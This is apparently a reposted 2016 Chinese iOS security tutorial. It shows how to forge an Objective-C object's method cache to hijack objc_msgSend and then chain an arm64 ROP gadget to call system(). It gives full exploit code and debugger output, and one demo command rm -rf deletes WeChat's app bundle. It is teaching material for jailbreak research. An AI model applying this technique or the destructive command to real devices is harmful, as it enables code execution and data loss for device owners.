iOS冰与火之歌 – Objective-C Pwn and iOS arm64 ROP
蒸米 · 2016/01/26 10:29
0x00 序
冰指的是用户态,火指的是内核态。如何突破像冰箱一样的用户态沙盒最终到达并控制如火焰一般燃烧的内核就是《iOS冰与火之歌》这一系列文章将要讲述的内容。目录如下:
- Objective-C Pwn and iOS arm64 ROP
- █████████████
- █████████████
- █████████████
- █████████████
另外文中涉及代码可在我的github下载:
github.com/zhengmin198…
0x01 什么是Objective-C
Objective-C是扩充C的面向对象编程语言。语法和C非常像,但实现的机制却和java非常像。我们先来看一个简单的Hello,World程序了解一下。
#!objc
Talker.h:
#import <Foundation/Foundation.h>
@interface Talker : NSObject
- (void) say: (NSString*) phrase;
@endTalker.m:
#import "Talker.h"
@implementation Talker
- (void) say: (NSString*) phrase {NSLog(@"[email protected]", phrase);
}
@endhello.m:
int main(void) { Talker *talker = [[Talker alloc] init];[talker say: @"Hello, Ice and Fire!"];[talker say: @"Hello, Ice and Fire!"];[talker release];
}
复制代码
因为测试机是ipad mini 4,这里我们只编译一个arm64版本的hello。我们先make一下,然后我们用scp把hello传到我们的ipad上面,然后尝试运行一下:
如果我们能够看到”Hello, Ice and Fire!”,那么我们的第一个Objective-C程序就完成了。
0x02 Objc_msgSend
我们接下来看一下用ida对hello进行反汇编后的结果:
我们发现程序中充满了objc_msgSend()
这个函数。这个函数可以说是Objective-C的灵魂函数。在Objective-C中,message与方法的真正实现是在执行阶段绑定的,而非编译阶段。编译器会将消息发送转换成对objc_msgSend
方法的调用。
objc_msgSend
方法含两个必要参数:receiver、方法名(即:selector)。比如如:
[receiver message];
将被转换为:objc_msgSend(receiver, selector);
另外每个对象都有一个指向所属类的指针isa。通过该指针,对象可以找到它所属的类,也就找到了其全部父类,如下图所示:
当向一个对象发送消息时,objc_msgSend
方法根据对象的isa指针找到对象的类,然后在类的调度表(dispatch table)中查找selector。如果无法找到selector,objc_msgSend
通过指向父类的指针找到父类,并在父类的调度表(dispatch table)中查找selector,以此类推直到NSObject类。一旦查找到selector,objc_msgSend
方法根据调度表的内存地址调用该实现。通过这种方式,message与方法的真正实现在执行阶段才绑定。
为了保证消息发送与执行的效率,系统会将全部selector和使用过的方法的内存地址缓存起来。每个类都有一个独立的缓存,缓存包含有当前类自己的selector以及继承自父类的selector。查找调度表(dispatch table)前,消息发送系统首先检查receiver对象的缓存。缓存命中的情况下,消息发送(messaging)比直接调用方法(function call)只慢一点点。
其实关于objc_msgSend
这个函数,Apple已经提供了源码
(比如arm64版本: www.opensource.apple.com/source/objc…)
为了有更高的效率,objc_msgSend这个函数是用汇编实现的:
首先函数会检测传递进来的第一个对象是否为空,然后计算MASK。随后就会进入缓存函数去寻找是否有selector对应的缓存:
如果这个selector曾经被调用过,那么在缓存中就会保存这个selector对应的函数地址,如果这个函数再一次被调用,objc_msgSend()
会直接跳转到缓存的函数地址。
但正因为这个机制,如果我们可以伪造一个receiver对象的话,我们就可以构造一个缓存的selector的函数地址,随后objc_msgSend()
就会跳转到我们伪造的缓存函数地址上,从而让我们可以控制PC指针。
0x03 动态调试Objc_msgSend
在我们讲如何伪造objc对象控制pc前,我们先分析一下运行时的Objc_msgSend()
函数。这里我们用lldb进行调试。我们先在ipad上用debugserver启动hello这个程序:
#!bash
Minde-iPad:/tmp root# debugserver *:1234 ./hello
debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-340.3.51.1for arm64.
Listening to port 1234 for a connection from *...
Got a connection, launched process ./hello (pid = 1546).
复制代码
然后在自己的pc上用lldb进行远程连接:
#!bash
lldb
(lldb) process connect connect://localhost:5555
2016-01-17 14:58:39.540 lldb[59738:4122180] Metadata.framework [Error]: couldn't get the client port
Process 1546 stopped
* thread #1: tid = 0x2b92f, 0x0000000120041000 dyld`_dyld_start, stop reason = signal SIGSTOPframe #0: 0x0000000120041000 dyld`_dyld_start
dyld`_dyld_start:
-> 0x120041000 <+0>: mov x28, sp0x120041004 <+4>: and sp, x28, #0xfffffffffffffff00x120041008 <+8>: movz x0, #00x12004100c <+12>: movz x1, #0
复制代码
接着我们可以在main函数那里设置一个断点:
#!bash
(lldb) break set --name main
Breakpoint 1: no locations (pending).
WARNING: Unable to resolve breakpoint to any actual locations.
(lldb) c
Process 1546 resuming
1 location added to breakpoint 1
7 locations added to breakpoint 1
Process 1546 stopped
* thread #1: tid = 0x2b92f, 0x0000000100063e48 hello`main, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1frame #0: 0x0000000100063e48 hello`main
hello`main:
-> 0x100063e48 <+0>: stp x22, x21, [sp, #-48]!0x100063e4c <+4>: stp x20, x19, [sp, #16]0x100063e50 <+8>: stp x29, x30, [sp, #32]0x100063e54 <+12>: add x29, sp, #32
复制代码
我们用disas反编译一下main函数:
接下来我们在0x100063e94和0x100063ea4处下两个断点:
#!bash
(lldb) b *0x100063e94
Breakpoint 2: where = hello`main + 76, address = 0x0000000100063e94
(lldb) b *0x100063ea4
Breakpoint 3: where = hello`main + 92, address = 0x0000000100063ea4
复制代码
随后我们继续运行程序,然后用po $x0
和x/s $x1
可以看到receiver和selector的内容:
#!bash
(lldb) c
Process 1546 resuming
Process 1546 stopped
* thread #1: tid = 0x2b92f, 0x0000000100063e94 hello`main + 76, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1frame #0: 0x0000000100063e94 hello`main + 76
hello`main:
-> 0x100063e94 <+76>: bl 0x100063f18 ; symbol stub for: objc_msgSend0x100063e98 <+80>: mov x0, x190x100063e9c <+84>: mov x1, x200x100063ea0 <+88>: mov x2, x21
(lldb) po $x0
<Talker: 0x154604510>(lldb) x/s $x1
0x100063f77: "say:"
复制代码
这里可以看到receiver和selector分别为Talker和say。因此我们可以通过po $x2
来知道say这个方法的参数的内容,也就是“ Hello, Ice and Fire!”
:
#!bash
(lldb) po $x2
Hello, Ice and Fire!
复制代码
随后我们用si命令进入objc_msgSend()
这个函数:
#!bash
* thread #1: tid = 0x2b92f, 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend, queue = 'com.apple.main-thread', stop reason = instruction step intoframe #0: 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend
libobjc.A.dylib`objc_msgSend:
-> 0x199c1dbc0 <+0>: cmp x0, #00x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108>0x199c1dbc8 <+8>: ldr x13, [x0]0x199c1dbcc <+12>: and x9, x13, #0x1fffffff8
复制代码
我们接着使用disas来看一下objc_msgSend的汇编代码:
#!bash
(lldb) disas
libobjc.A.dylib`objc_msgSend:0x199c1dbc0 <+0>: cmp x0, #0
-> 0x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108>0x199c1dbc8 <+8>: ldr x13, [x0]0x199c1dbcc <+12>: and x9, x13, #0x1fffffff80x199c1dbd0 <+16>: ldp x10, x11, [x9, #16]0x199c1dbd4 <+20>: and w12, w1, w110x199c1dbd8 <+24>: add x12, x10, x12, lsl #40x199c1dbdc <+28>: ldp x16, x17, [x12]0x199c1dbe0 <+32>: cmp x16, x10x199c1dbe4 <+36>: b.ne 0x199c1dbec ; <+44>
0x199c1dbe8 <+40>: br x17……
复制代码
可以看到objc_msgSend
最开始做的事情就是从class的缓存中获取selector和对应的地址(ldp x16, x17, [x12]
),然后用缓存的selector和objc_msgSend()
的selector进行比较(cmp x16, x1
),如果匹配的话就跳转到缓存的selector的地址上(br x17
)。但由于我们是第一次执行[talker say]
,缓存中并没有对应的函数地址,因此objc_msgSend()
还要继续执行_objc_msgSend_uncached_impcache
去类的方法列表里查找say这个函数的地址。
那么我们就继续执行程序,来看一下第二次调用say函数的话会怎么样。
#!bash
(lldb) disas
libobjc.A.dylib`objc_msgSend:0x199c1dbc0 <+0>: cmp x0, #00x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108>0x199c1dbc8 <+8>: ldr x13, [x0]0x199c1dbcc <+12>: and x9, x13, #0x1fffffff80x199c1dbd0 <+16>: ldp x10, x11, [x9, #16]
-> 0x199c1dbd4 <+20>: and w12, w1, w11
复制代码
当我们继续执行程序进入objc_msgSend
后,在执行完"ldp x10, x11, [x9, #16]
"这条指令后,x10
会指向保存了缓存数据的地址。我们用x/10gx $x10
来查看一下这个地址的数据,可以看到init()
和say()
这两个函数都已经被缓存了:
#!bash
(lldb) x/10gx $x100x146502e10: 0x0000000000000000 0x0000000000000000
0x146502e20: 0x0000000000000000 0x0000000000000000
0x146502e30: 0x000000018b0f613e 0x0000000199c26a6c
0x146502e40: 0x0000000100053f37 0x0000000100053ea4
0x146502e50: 0x0000000000000004 0x000000019ccad6f8 (lldb) x/s 0x000000018b0f613e
0x18b0f613e: "init"
(lldb) x/s 0x0000000100053f37
0x100053f37: "say:"
复制代码
前一个数据是selector的地址,后一个数据就是selector对应的函数地址,比如say()这个函数:
#!bash
(lldb) x/10i 0x0000000100053ea40x100053ea4: 0xa9bf7bfd stp x29, x30, [sp, #-16]!0x100053ea8: 0x910003fd mov x29, sp0x100053eac: 0xd10043ff sub sp, sp, #160x100053eb0: 0xf90003e2 str x2, [sp]0x100053eb4: 0x10000fa0 adr x0, #500 ; @"[email protected]"0x100053eb8: 0xd503201f nop 0x100053ebc: 0x94000004 bl 0x100053ecc ; symbol stub for: NSLog0x100053ec0: 0x910003bf mov sp, x290x100053ec4: 0xa8c17bfd ldp x29, x30, [sp], #160x100053ec8: 0xd65f03c0 ret
复制代码
0x04 伪造ObjC对象控制PC
正如我之前提到的,如果我们可以伪造一个ObjC对象,然后构造一个假的cache的话,我们就有机会控制PC指针了。既然如此我们就来试一下吧。首先我们需要找到selector在内存中的地址,这个问题可以使用NSSelectorFromString()
这个系统自带的API来解决,比如我们想知道”release”这个selector的地址,就可以使用NSSelectorFromString(@"release")
来获取。
随后我们要构建一个假的receiver
,假的receiver
里有一个指向假的objc_class
的指针,假的objc_class
里又保存了假的cache_buckets
的指针和mask
。假的cache_buckets
的指针最终指向我们将要伪造的selector
和selector
函数的地址:
#!objc
struct fake_receiver_t
{uint64_t fake_objc_class_ptr;
}fake_receiver;struct fake_objc_class_t {char pad[0x10];void* cache_buckets_ptr;uint32_t cache_bucket_mask;
} fake_objc_class;struct fake_cache_bucket_t {void* cached_sel;void* cached_function;
} fake_cache_bucket;
复制代码
接下来我们在main函数中尝试将talker这个receiver改成我们伪造的receiver,然后利用伪造的”release” selector来控制PC指向0x41414141414141
这个地址:
#!objc
int main(void) {Talker *talker = [[Talker alloc] init];[talker say: @"Hello, Ice and Fire!"];[talker say: @"Hello, Ice and Fire!"];[talker release];fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));fake_cache_bucket.cached_function = (void*)0x41414141414141;NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;fake_objc_class.cache_bucket_mask=0;fake_receiver.fake_objc_class_ptr=&fake_objc_class;talker= &fake_receiver;[talker release];
}
复制代码
OK,接下来我们把新编译的hello传到我们的ipad上,然后用debugserver进行调试:
#!bash
Minde-iPad:/tmp root# debugserver *:1234 ./hello
debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-340.3.51.1for arm64.
Listening to port 1234 for a connection from *...
Got a connection, launched process ./hello (pid = 1891).
复制代码
然后我们用lldb进行连接,然后直接运行:
#!bash
MacBookPro:objpwn zhengmin$ lldb
(lldb) process connect connect://localhost:5555
2016-01-17 22:02:45.681 lldb[61258:4325925] Metadata.framework [Error]: couldn't get the client port
Process 1891 stopped
* thread #1: tid = 0x36eff, 0x0000000120029000 dyld`_dyld_start, stop reason = signal SIGSTOPframe #0: 0x0000000120029000 dyld`_dyld_start
dyld`_dyld_start:
-> 0x120029000 <+0>: mov x28, sp0x120029004 <+4>: and sp, x28, #0xfffffffffffffff00x120029008 <+8>: movz x0, #00x12002900c <+12>: movz x1, #0
(lldb) c
Process 1891 resuming
2016-01-17 22:02:48.575 hello[1891:225023] Hello, Ice and Fire!
2016-01-17 22:02:48.580 hello[1891:225023] Hello, Ice and Fire!
2016-01-17 22:02:48.581 hello[1891:225023] cached_sel = 0x18b0f7191
2016-01-17 22:02:48.581 hello[1891:225023] fake_cache_bucket.cached_function = 0x41414141414141
Process 1891 stopped
* thread #1: tid = 0x36eff, 0x0041414141414141, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=257, address=0x41414141414141)frame #0: 0x0041414141414141
error: memory read failed for 0x41414141414000
复制代码
可以看到我们成功的控制了PC,让PC指向了0x41414141414141。
0x05 iOS上的arm64 ROP
虽然我们控制了PC,但在iOS上我们并不能采用nmap()
或者mprotect()
将内存改为可读可写可执行,如果我们想要让程序执行一些我们想要的指令的话必须要使用ROP。如果对于ROP不太了解的话,我推荐阅读一下我写的《一步一步学ROP》系列文章(drops.wooyun.org/papers/1139…)
在各个系统中ROP的基本思路是一样的,这里我就简单介绍一下iOS上ROP的思路。
首先要知道的是,在iOS上默认是开启ASLR+DEP+PIE的。ASLR和DEP很好理解,PIE的意思是program image本身在内存中的地址也是随机的。所以我们在iOS上使用ROP技术必须配合信息泄露的漏洞才行。虽然在iOS上写ROP非常困难,但有个好消息是虽然program image是随机的,但是每个进程都会加载的dyld_shared_cache
这个共享缓存的地址在开机后是固定的,并且每个进程的dyld_shared_cache
都是相同的。这个dyld_shared_cache
有好几百M大,基本上可以满足我们对gadgets的需求。因此我们只要在自己的进程获取dyld_shared_cache
的基址就能够计算出目标进程gadgets的位置。
dyld_shared_cache
文件一般保存在/System/Library/Caches/com.apple.dyld/
这个目录下。我们下载下来以后就可以用ROPgadget这个工具来搜索gadget了。我们先实现一个简单的ROP,用system()
函数执行”touch /tmp/IceAndFire
”。因为我们x0
是我们控制的fake_receiver
的地址,因此我们可以搜索利用x0
来控制其他寄存器的gadgets。比如下面这条:
#!bash
ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1
复制代码
随后我们可以构造一个假的结构体,然后给对应的寄存器赋值:
#!objc
struct fake_receiver_t
{uint64_t fake_objc_class_ptr;uint8_t pad1[0x70-0x8];uint64_t x0;uint8_t pad2[0x98-0x70-0x8];uint64_t x1;char cmd[1024];
}fake_receiver;fake_receiver.x0=(uint64_t)&fake_receiver.cmd;
fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system");
NSLog(@"system_address = %p", (void*)fake_receiver.x1);
strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire");
复制代码
最后我们将cached_function
的值指向我们gagdet的地址就能控制程序执行system()
指令了:
#!objc
uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);//0x00000000000dcf7c ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1
fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0x00000000000dcf7c;
NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);
复制代码
编译完后,我们将hello这个程序传输到iOS上测试一下:
发现/tmp
目录下已经成功的创建了IceAndFire这个文件了。
有人觉得只是在tmp目录下touch一个文件并不过瘾,那么我们就尝试一下删除其他应用吧。应用的运行文件都保存在”/var/mobile/Containers/Bundle/Application/
”目录下,比如微信的运行程序就在”/var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/WeChat.app/WeChat
”下(注意ED6F728B-CC15-466B-942B-FBC4C534FF95这个值是在app安装时随机分配的)。于是我们将cmd指令换成:
#!objc
strcpy(fake_receiver.cmd, "rm -rf /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/");
复制代码
然后再执行一下hello这个程序。程序运行后我们会发现微信的app图标还在,但当我们尝试打开微信的时候app就会秒退。这是因为虽然app被删了但springboard依然会有图标的缓存。这时候我们只要重启一下springboard或者手机就可以清空对应的图标的缓存了。这也就是为啥demo中的视频需要重启一下手机的原因:
0x06 总结
这篇文章简单介绍了iOS上Objective-C 的利用以及iOS 上arm64 ROP,这些都是越狱需要掌握的最基本的知识。要注意的事,能做到执行system指令是因为我们是在越狱环境下以root身份运行了我们的程序,在非越狱模式下app是没有权限执行这些system指令的,想要做到这一点必须利用沙箱逃逸的漏洞才行,我们会在随后的文章中介绍这些过沙箱的技术,敬请期待。
另外,另外文中涉及代码可在我的github下载:
github.com/zhengmin198…
0x07 参考资料
- Objective-C消息机制的原理 dangpu.sinaapp.com/?p=119
- Abusing the Objective C runtime phrack.org/issues/66/4…
iOS冰与火之歌 – Objective-C Pwn and iOS arm64 ROP相关推荐
- iOS 冰与火之歌 - 利用 XPC 过 App 沙盒
蒸米是阿里巴巴的移动安全工程师,香港中文大学博士,也是发现并命名了XcodeGhost的人.这次他所在的iOS安全小组发现了影响最新版iOS 9.3的0day漏洞.此漏洞杀伤力巨大,在非越狱手机上一个 ...
- iOS冰与火之歌番外篇 - App Hook答疑以及iOS 9砸壳
蒸米 · 2016/03/16 10:29 0x00 序 上一章我们讲到了在非越狱的iOS上进行App Hook.利用这个技术,你可以在非越狱的iOS系统上实现各种hook功能(e.g., 微信自动抢 ...
- iOS冰与火之歌番外篇 - 在非越狱手机上进行App Hook(转载)
作者简介:郑旻(花名蒸米),阿里巴巴移动安全部门资深安全工程师,香港中文大学移动安全(Android & iOS)方向博士,曾在腾讯.百度以及硅谷的FireEye实习.在博士期间发表了多篇移动 ...
- iOS冰与火之歌(番外篇) - 基于PEGASUS(Trident三叉戟)的OS X 10.11.6本地提权
0x00 序 这段时间最火的漏洞当属阿联酋的人权活动人士被apt攻击所使用的iOS PEGASUS(又称Trident三叉戟)0day漏洞了.为了修复该漏洞,苹果专门发布了一个iOS 9.3.5版本. ...
- iOS冰与火之歌番外篇 - 在非越狱手机上进行App Hook
作者简介:郑旻(花名蒸米),阿里巴巴移动安全部门资深安全工程师,香港中文大学移动安全(Android & iOS)方向博士,曾在腾讯.百度以及硅谷的FireEye实习.在博士期间发表了多篇移动 ...
- 冰与火之歌 《权力的游戏》
2019独角兽企业重金招聘Python工程师标准>>> 冰与火之歌 <权力的游戏> 1. 冰与火之歌 <冰与火之歌>(英语:A Song of Ice and ...
- 冰与火之歌居然是在 DOS 系统上写出来的
2019独角兽企业重金招聘Python工程师标准>>> 简评:<权力的游戏>第八季(最终季)终于开播了!这部美剧的原著小说有一个很有趣的冷知识 -- 它是在运行 DOS ...
- 冰与火之歌-五王之战(优达数据分析进阶项目)
五王之战分析 - 冰与火之歌 简介 五王之战(War of the Five Kings)是著名严肃奇幻小说<冰与火之歌>中的著名内战.这是一场规模空前.波及七大王国的内乱.顾名思义,前后 ...
- python简单实战项目:《冰与火之歌1-5》角色关系图谱构建
前两天<权力的游戏>第七季发布了第二弹预告片,思索的第七季也快要来了,正想着脑子突然一热,要不弄个<权利的游戏>的角色共现图谱吧.故事里面的人物关系复杂程度也是出了名了的,如果 ...
最新文章
- Python-socket编程
- 入职谷歌、微软的大佬总结的刷题笔记.pdf
- linux shell sed命令 在文本每行 行尾 或 行首 添加字符
- R - 一只小蜜蜂...(第二季水)
- 计算机在气象上的应用浅论,简析计算机网络在气象服务中的应用原稿
- skia 源码分析_【脚下有根】之Skia库的matrix代码解读
- vue 指令 v-for 遍历数组
- 哨兵系列卫星_空客“哥白尼哨兵1C”卫星雷达天线首次展开双翼
- java emf 转jpg_java – emf到jpg的转换
- phpnow mysql_phpnow重新安装mysql数据库的方法
- 结合量价持仓分析的股指期货日内交易策略
- R语言计算dataframe中指定数据列的值为缺失值的样本个数(行的个数)
- 一个月刷完机器学习笔试题300题(10)
- SettingWithCopyWarning: A value is trying to be set on a copy of a slice from a DataFrame
- Windows电脑内存不足解决问题
- 【无人机】【2014.08】无人机国家的诞生:自1917年以来的美国无人机发展
- 图像质量评价方法PSNR+SSIM 评估指标SROCC,PLCC——简记
- 平静的纪中生活(2021.7.12~7.22)
- 宝宝生活点滴(2010.05)
- 隐形墨水笔上亚马逊要做什么检测?
热门文章
- 为什么保持代码整洁如此重要
- 4GCPE工业路由器使用方法 4G转WiFi 网口 有线 串口 以太网
- 刘润商业洞察力学习笔记1
- HQChart--uniApp v3 中使用 render.js
- XTU 1256 湘潭大学
- 实现弹簧柔性状态的2种方式 | Solidworks教程
- 计算机普通话水平测试有用吗,计算机辅助普通话水平测试的优点与问题
- 阿里云centos8安装rabbitMq
- vue项目TypeScript intellisense is disabled on template.异常解决方案
- 闲人闲谈PS之二十九——关于精确统计工程合同产值问题